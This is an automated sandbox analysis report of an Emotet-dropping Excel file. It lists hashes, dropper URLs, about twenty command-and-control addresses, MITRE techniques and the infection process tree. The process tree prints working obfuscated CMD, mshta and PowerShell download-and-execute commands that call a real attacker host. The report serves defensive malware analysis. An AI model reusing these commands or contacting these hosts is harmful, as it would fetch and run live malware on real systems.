Analysis

  • max time kernel
    140s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 00:50

General

  • Target

    file 923.xls

  • Size

    36KB

  • MD5

    d2e3fb32e4e815fe2af7c7e49d85cdb1

  • SHA1

    92533e7563698f9e5e0960d182cf74b03f00a8fb

  • SHA256

    3d9d856f454202dd099b997b079c0edb6c3b1e2e2379d22cb042a0bde92daa95

  • SHA512

    285ad6c939be79e8c212615b161264494748c25bf6cf918101fae8e6c3c06a8d2c374b490d9ce3f473855bc23e41c355932a54c8420adaaf70c05087628d9e06

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\file 923.xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:540
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/oo/aa/se.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:916
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1604
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1772
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1948
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:892
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kzfmejnoxdgp\urynnk.anr",DxAXISwr
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1832
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kzfmejnoxdgp\urynnk.anr",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1804

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

2
T1082

Query Registry

1
T1012

Replay Monitor

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Downloads

  • C:\ProgramData\QWER.dll
    MD5

    7c8d78edc5626bd61591523c9c963b1e

    SHA1

    4f05391deedd6b55544f5de3a2c47ac88870436a

    SHA256

    9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

    SHA512

    0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

  • \ProgramData\QWER.dll
    MD5

    7c8d78edc5626bd61591523c9c963b1e

    SHA1

    4f05391deedd6b55544f5de3a2c47ac88870436a

    SHA256

    9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

    SHA512

    0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

  • \ProgramData\QWER.dll
    MD5

    7c8d78edc5626bd61591523c9c963b1e

    SHA1

    4f05391deedd6b55544f5de3a2c47ac88870436a

    SHA256

    9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

    SHA512

    0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

  • \ProgramData\QWER.dll
    MD5

    7c8d78edc5626bd61591523c9c963b1e

    SHA1

    4f05391deedd6b55544f5de3a2c47ac88870436a

    SHA256

    9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

    SHA512

    0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

  • \ProgramData\QWER.dll
    MD5

    7c8d78edc5626bd61591523c9c963b1e

    SHA1

    4f05391deedd6b55544f5de3a2c47ac88870436a

    SHA256

    9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

    SHA512

    0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

  • \ProgramData\QWER.dll
    MD5

    7c8d78edc5626bd61591523c9c963b1e

    SHA1

    4f05391deedd6b55544f5de3a2c47ac88870436a

    SHA256

    9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

    SHA512

    0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

  • \ProgramData\QWER.dll
    MD5

    7c8d78edc5626bd61591523c9c963b1e

    SHA1

    4f05391deedd6b55544f5de3a2c47ac88870436a

    SHA256

    9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

    SHA512

    0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

  • \ProgramData\QWER.dll
    MD5

    7c8d78edc5626bd61591523c9c963b1e

    SHA1

    4f05391deedd6b55544f5de3a2c47ac88870436a

    SHA256

    9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

    SHA512

    0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

  • \ProgramData\QWER.dll
    MD5

    7c8d78edc5626bd61591523c9c963b1e

    SHA1

    4f05391deedd6b55544f5de3a2c47ac88870436a

    SHA256

    9f9c2de509478a4400f67b680e48c191053d90abdd9f13937344fc621925b3ab

    SHA512

    0bd959c8beb030c829278aa12f6b2965d09a1d04faeb91ab135744eb6bd4ecd24ae28902542d03f742b3f2a9060f56ccf29c376f5dab2b9a73fc893131a2c369

  • memory/892-84-0x0000000002410000-0x0000000002437000-memory.dmp
    Filesize

    156KB

  • memory/892-82-0x00000000021E0000-0x0000000002207000-memory.dmp
    Filesize

    156KB

  • memory/892-91-0x0000000002820000-0x0000000002847000-memory.dmp
    Filesize

    156KB

  • memory/892-88-0x0000000002710000-0x0000000002737000-memory.dmp
    Filesize

    156KB

  • memory/892-86-0x0000000002540000-0x0000000002567000-memory.dmp
    Filesize

    156KB

  • memory/892-78-0x0000000000330000-0x0000000000357000-memory.dmp
    Filesize

    156KB

  • memory/892-80-0x0000000001E50000-0x0000000001E77000-memory.dmp
    Filesize

    156KB

  • memory/1604-62-0x00000000025A0000-0x00000000031EA000-memory.dmp
    Filesize

    12.3MB

  • memory/1604-63-0x00000000025A0000-0x00000000031EA000-memory.dmp
    Filesize

    12.3MB

  • memory/1604-64-0x00000000025A0000-0x00000000031EA000-memory.dmp
    Filesize

    12.3MB

  • memory/1664-54-0x000000002F731000-0x000000002F734000-memory.dmp
    Filesize

    12KB

  • memory/1664-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1664-57-0x00000000754B1000-0x00000000754B3000-memory.dmp
    Filesize

    8KB

  • memory/1664-119-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1664-55-0x0000000070E11000-0x0000000070E13000-memory.dmp
    Filesize

    8KB

  • memory/1804-100-0x00000000022D0000-0x00000000022F7000-memory.dmp
    Filesize

    156KB

  • memory/1804-98-0x00000000003C0000-0x00000000003E7000-memory.dmp
    Filesize

    156KB

  • memory/1804-96-0x00000000002A0000-0x00000000002C7000-memory.dmp
    Filesize

    156KB

  • memory/1804-102-0x00000000023F0000-0x0000000002417000-memory.dmp
    Filesize

    156KB

  • memory/1804-104-0x0000000002450000-0x0000000002477000-memory.dmp
    Filesize

    156KB

  • memory/1804-108-0x00000000026C0000-0x00000000026E7000-memory.dmp
    Filesize

    156KB

  • memory/1804-110-0x0000000002810000-0x0000000002837000-memory.dmp
    Filesize

    156KB

  • memory/1804-112-0x0000000002AD0000-0x0000000002AF7000-memory.dmp
    Filesize

    156KB

  • memory/1804-114-0x0000000002C50000-0x0000000002C77000-memory.dmp
    Filesize

    156KB

  • memory/1804-120-0x00000000029F1000-0x0000000002A14000-memory.dmp
    Filesize

    140KB

  • memory/1948-71-0x0000000000760000-0x0000000000787000-memory.dmp
    Filesize

    156KB